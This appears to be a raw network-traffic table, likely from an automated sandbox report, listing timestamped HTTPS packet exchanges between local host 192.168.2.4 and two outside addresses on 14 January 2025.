Jan 14, 2025 20:04:47.675808907 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.675868988 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.675869942 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.675900936 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.675919056 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.676390886 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.676450968 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.676465988 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.676472902 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.676506042 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.677314043 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.677361965 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.677372932 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.677401066 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.677431107 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.678409100 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.678467989 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.678473949 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.679186106 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.681793928 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.681839943 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.681866884 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.681874037 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.681921959 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.760606050 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.760695934 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.760708094 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.761140108 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.761184931 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.761214972 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.761220932 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.761248112 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.762455940 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.762496948 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.762521029 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.762526035 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.762557030 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.763638020 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.763676882 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.763705969 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.763710976 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.763726950 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.765584946 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.765629053 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.765645027 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.765650034 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.765691996 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.765716076 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.765769958 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.765918016 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.765960932 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.765980005 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.765985012 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.766017914 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.766036987 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.767678022 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.767719030 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.767740965 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.767745972 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.767786026 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.768440962 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.768507004 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.768511057 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.770024061 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.770061016 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.770092010 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.770097017 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.770123959 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.835608959 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.851376057 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.851505995 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.851512909 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.859020948 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.859074116 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.859137058 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.859143019 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.859188080 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.866398096 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.866445065 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.866487980 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.866492987 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.866504908 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.871068001 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.871143103 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.871148109 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.879822969 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.879870892 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.879905939 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.879910946 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.879939079 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.883483887 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.883563995 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.883569956 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.887725115 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.887801886 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.887806892 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.894577026 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.896545887 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.896589041 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.896631956 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.896637917 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.896677971 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.900934935 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.901074886 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.901081085 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.901139021 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.905213118 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.905325890 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.905330896 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.912265062 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.912303925 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.912341118 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.912345886 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.912372112 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.943134069 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.943228006 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.943233013 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.943290949 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.943345070 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.943350077 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.949683905 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.949726105 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.949753046 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.949757099 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.949803114 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.954320908 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.954396963 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.954401016 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.954438925 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:47.954479933 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:47.954529047 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:48.040199041 CET	50080	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:48.040211916 CET	443	50080	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:48.292462111 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:48.292494059 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:48.292551041 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:48.292794943 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:48.292807102 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:48.413398027 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:48.413466930 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:48.413541079 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:48.413842916 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:48.413870096 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:48.817781925 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:48.818083048 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:48.818098068 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:48.819564104 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:48.819632053 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:48.821316004 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:48.821402073 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:48.821611881 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:48.821619987 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:48.863190889 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:49.431966066 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:49.432090998 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:49.432152987 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:49.433269978 CET	50086	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:49.433291912 CET	443	50086	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:49.669559002 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:49.669639111 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:49.669713020 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:49.669920921 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:49.669955015 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:49.723964930 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:49.724237919 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:49.724260092 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:49.724618912 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:49.724684000 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:49.725291014 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:49.725342989 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:49.725483894 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:49.725547075 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:49.725620985 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:49.725631952 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:49.772663116 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.080828905 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.080852032 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.080858946 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.080950022 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.080975056 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.133666992 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.164580107 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.164589882 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.164649010 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.164655924 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.164709091 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.164736986 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.164748907 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.164761066 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.164761066 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.164792061 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.167440891 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.167449951 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.167517900 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.167526960 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.169043064 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.169102907 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.169111967 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.172035933 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.172113895 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.172122955 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.173559904 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.173624992 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.173634052 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.192826033 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.219666958 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.219734907 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.221316099 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.221404076 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.221739054 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.221826077 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.221908092 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.221925020 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.228724957 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.251688957 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.251698017 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.251746893 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.251746893 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.251780033 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.251805067 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.252645969 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.252654076 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.252712011 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.252721071 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.254338026 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.254345894 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.254354000 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.254390955 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.254410982 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.254420996 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.254446983 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.255712986 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.255779982 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.255789042 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.256231070 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.256303072 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.256313086 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.260329962 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.260349035 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.260390043 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.260402918 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.260437965 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.274602890 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.311813116 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.338407040 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.338416100 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.338453054 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.338481903 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.338496923 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.338526011 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.338546038 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.339607000 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.339620113 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.339684010 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.339692116 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.339735031 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.340255976 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.340269089 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.340315104 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.340322971 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.340364933 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.341233015 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.341259956 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.341299057 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.341308117 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.341337919 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.341351986 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.342125893 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.342341900 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.342403889 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.343679905 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.343755007 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.343763113 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.343828917 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.343882084 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.343889952 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.343988895 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.344029903 CET	443	50088	69.49.230.198	192.168.2.4
Jan 14, 2025 20:04:50.344053030 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.344104052 CET	50088	443	192.168.2.4	69.49.230.198
Jan 14, 2025 20:04:50.344276905 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.344330072 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.344337940 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.344666958 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.344724894 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.344733000 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.346024990 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.346088886 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.346096992 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.357476950 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.357497931 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.357579947 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.357593060 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.357605934 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.404395103 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.430623055 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.430670977 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.430728912 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.430756092 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.430778980 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.430795908 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.430805922 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.430828094 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.430859089 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.430883884 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.430895090 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.430974960 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.431031942 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.431046009 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.431087017 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.431143999 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.431154013 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.431292057 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.431355000 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.431363106 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.431447983 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.431512117 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.431519985 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432341099 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432385921 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432406902 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.432415962 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432461977 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.432533026 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432569981 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432591915 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.432601929 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432630062 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.432697058 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432734966 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432751894 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.432761908 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.432789087 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.436127901 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.436170101 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.436202049 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.436211109 CET	443	50087	43.152.64.193	192.168.2.4
Jan 14, 2025 20:04:50.436227083 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.439805031 CET	50087	443	192.168.2.4	43.152.64.193
Jan 14, 2025 20:04:50.446852922 CET	443	50087	43.152.64.193	192.168.2.4
